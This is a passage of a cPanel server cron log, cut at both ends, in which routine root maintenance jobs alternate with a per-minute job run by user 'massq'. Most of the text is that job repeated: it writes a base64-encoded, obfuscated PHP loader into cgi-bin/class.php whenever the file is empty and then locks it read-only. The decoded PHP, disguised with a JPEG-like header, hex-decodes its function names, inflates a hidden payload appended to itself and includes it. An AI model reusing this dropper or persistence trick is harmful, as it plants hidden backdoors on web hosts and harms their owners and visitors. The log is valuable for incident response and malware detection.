hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:27:01 server CROND[14915]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 10:28:01 server CROND[14997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:29:01 server CROND[15091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:30:01 server CROND[15213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:30:01 server CROND[15214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:30:01 server CROND[15215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:30:01 server CROND[15216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:31:01 server CROND[15359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:32:01 server CROND[15537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:33:01 server CROND[15605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:34:01 server CROND[15658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:35:01 server CROND[15711]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:35:01 server CROND[15713]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 10:35:01 server CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 10:35:01 server CROND[15715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:35:01 server CROND[15718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:36:01 server CROND[15830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:37:01 server CROND[15991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:38:01 server CROND[16053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:39:01 server CROND[16120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:39:01 server CROND[16121]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 10:40:01 server CROND[16182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:40:01 server CROND[16183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:40:01 server CROND[16184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:40:01 server CROND[16185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:41:01 server CROND[16296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 